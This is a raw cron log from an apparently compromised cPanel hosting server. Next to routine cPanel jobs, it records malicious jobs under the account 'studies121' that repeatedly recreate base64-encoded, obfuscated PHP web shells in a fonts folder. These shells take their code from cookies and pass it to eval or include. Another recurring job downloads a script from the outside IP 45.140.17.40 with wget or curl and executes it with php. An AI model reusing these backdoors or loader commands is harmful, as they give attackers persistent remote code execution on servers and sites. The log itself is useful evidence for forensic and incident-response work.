Sep 22 12:30:01 ip-184-168-122-23 CROND[30397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:30:01 ip-184-168-122-23 CROND[30395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:30:01 ip-184-168-122-23 CROND[30394]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 22 12:30:01 ip-184-168-122-23 CROND[30398]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:31:01 ip-184-168-122-23 CROND[31055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:31:01 ip-184-168-122-23 CROND[31053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:31:01 ip-184-168-122-23 CROND[31054]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 12:31:01 ip-184-168-122-23 CROND[31057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:31:01 ip-184-168-122-23 CROND[31058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:32:01 ip-184-168-122-23 CROND[32641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:32:01 ip-184-168-122-23 CROND[32640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:32:01 ip-184-168-122-23 CROND[32642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:32:01 ip-184-168-122-23 CROND[32646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:32:01 ip-184-168-122-23 CROND[32648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:33:01 ip-184-168-122-23 CROND[1671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:33:01 ip-184-168-122-23 CROND[1672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:33:01 ip-184-168-122-23 CROND[1673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:33:01 ip-184-168-122-23 CROND[1678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:34:01 ip-184-168-122-23 CROND[2517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:34:01 ip-184-168-122-23 CROND[2519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:34:01 ip-184-168-122-23 CROND[2520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:34:01 ip-184-168-122-23 CROND[2522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:34:01 ip-184-168-122-23 CROND[2521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:35:01 ip-184-168-122-23 CROND[3289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:35:01 ip-184-168-122-23 CROND[3291]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 12:35:01 ip-184-168-122-23 CROND[3290]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 12:35:01 ip-184-168-122-23 CROND[3295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:35:01 ip-184-168-122-23 CROND[3296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:35:01 ip-184-168-122-23 CROND[3299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:35:01 ip-184-168-122-23 CROND[3301]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:35:01 ip-184-168-122-23 CROND[3302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:36:01 ip-184-168-122-23 CROND[4039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:36:01 ip-184-168-122-23 CROND[4038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:36:01 ip-184-168-122-23 CROND[4042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:36:01 ip-184-168-122-23 CROND[4043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:36:01 ip-184-168-122-23 CROND[4041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:37:01 ip-184-168-122-23 CROND[4859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:37:01 ip-184-168-122-23 CROND[4858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:37:01 ip-184-168-122-23 CROND[4857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:37:01 ip-184-168-122-23 CROND[4860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:38:01 ip-184-168-122-23 CROND[5710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:38:01 ip-184-168-122-23 CROND[5711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:38:01 ip-184-168-122-23 CROND[5713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:38:01 ip-184-168-122-23 CROND[5715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:38:01 ip-184-168-122-23 CROND[5716]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:39:01 ip-184-168-122-23 CROND[6502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:39:01 ip-184-168-122-23 CROND[6501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:39:01 ip-184-168-122-23 CROND[6507]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 12:39:01 ip-184-168-122-23 CROND[6508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:39:01 ip-184-168-122-23 CROND[6504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:40:01 ip-184-168-122-23 CROND[7242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:40:01 ip-184-168-122-23 CROND[7245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:40:01 ip-184-168-122-23 CROND[7246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:40:01 ip-184-168-122-23 CROND[7249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:40:01 ip-184-168-122-23 CROND[7250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:40:01 ip-184-168-122-23 CROND[7251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:40:01 ip-184-168-122-23 CROND[7252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:40:01 ip-184-168-122-23 CROND[7253]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 12:41:01 ip-184-168-122-23 CROND[7830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:41:01 ip-184-168-122-23 CROND[7833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:41:01 ip-184-168-122-23 CROND[7831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:41:01 ip-184-168-122-23 CROND[7834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:42:01 ip-184-168-122-23 CROND[8508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:42:01 ip-184-168-122-23 CROND[8509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
